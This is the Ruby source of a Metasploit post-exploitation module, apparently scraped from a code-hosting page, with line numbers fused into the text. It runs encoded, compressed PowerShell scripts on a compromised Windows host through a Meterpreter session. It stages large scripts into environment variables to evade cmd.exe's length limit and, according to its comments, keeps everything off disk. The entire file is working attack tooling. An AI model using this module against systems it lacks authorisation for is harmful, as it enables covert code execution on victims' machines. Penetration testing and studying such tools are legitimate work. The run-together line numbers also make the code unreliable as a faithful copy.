Path: blob/master/modules/post/windows/manage/powershell/exec_powershell.rb
31192 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45##6# Original script comments by nick[at]executionflow.org:7# Meterpreter script to deliver and execute powershell scripts using8# a compression/encoding method based on the powershell PoC code9# from rel1k and winfang98 at DEF CON 18. This script furthers the10# idea by bypassing Windows' command character lmits, allowing the11# execution of very large scripts. No files are ever written to disk.12##1314require 'zlib' # TODO: check if this can be done with REX1516class MetasploitModule < Msf::Post17include Msf::Post::Windows::Powershell1819def initialize(info = {})20super(21update_info(22info,23'Name' => 'Windows Manage PowerShell Download and/or Execute',24'Description' => %q{25This module will download and execute a PowerShell script over a meterpreter session.26The user may also enter text substitutions to be made in memory before execution.27Setting VERBOSE to true will output both the script prior to execution and the results.28},29'License' => MSF_LICENSE,30'Platform' => ['win'],31'SessionTypes' => ['meterpreter'],32'Author' => [33'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script34'RageLtMan <rageltman[at]sempervictus>' # post module35],36'Compat' => {37'Meterpreter' => {38'Commands' => %w[39stdapi_sys_config_sysinfo40]41}42},43'Notes' => {44'Stability' => [CRASH_SAFE],45'SideEffects' => [],46'Reliability' => []47}48)49)5051register_options(52[53OptPath.new('SCRIPT', [true, 'Path to the local PS script', ::File.join(Msf::Config.data_directory, 'post', 'powershell', 'msflag.ps1') ]),54]55)5657register_advanced_options(58[59OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub' ]),60OptBool.new('DELETE', [false, 'Delete file after execution', false ]),61OptBool.new('DRY_RUN', [false, 'Only show what would be done', false ])62]63)64end6566def run67fail_with(Failure::BadConfig, 'This module requires a Meterpreter session') unless session.type == 'meterpreter'68fail_with(Failure::BadConfig, 'PowerShell is not installed') unless have_powershell?6970# End of file marker71eof = Rex::Text.rand_text_alpha(8)72env_suffix = Rex::Text.rand_text_alpha(8)7374# check/set vars75subs = process_subs(datastore['SUBSTITUTIONS'])76script_in = read_script(datastore['SCRIPT'])77print_status(script_in)7879# Make substitutions in script if needed80script_in = make_subs(script_in, subs) unless subs.empty?8182# Compress83print_status('Compressing script contents.')84compressed_script = compress_script(script_in, eof)85if datastore['DRY_RUN']86print_good("powershell -EncodedCommand #{compressed_script}")87return88end8990# If the compressed size is > 8100 bytes, launch stager91if (compressed_script.size > 8100)92print_error("Compressed size: #{compressed_script.size}")93error_msg = 'Compressed size may cause command to exceed '94error_msg += "cmd.exe's 8kB character limit."95print_error(error_msg)96print_status('Launching stager:')97script = stage_to_env(compressed_script, env_suffix)98print_good('Payload successfully staged.')99else100print_good("Compressed size: #{compressed_script.size}")101script = compressed_script102end103104# Execute the powershell script105print_status('Executing the script.')106cmd_out = psh_exec(script)107if cmd_out.nil?108error_msg = "Powershell command returned a nil value; this could be because the command timed out.\n"109error_msg << 'You may want to increase the Powershell::Post::timeout value and try again.'110print_warning(error_msg)111end112print_status(cmd_out.to_s)113114# That's it115print_good('Finished!')116end117end118119120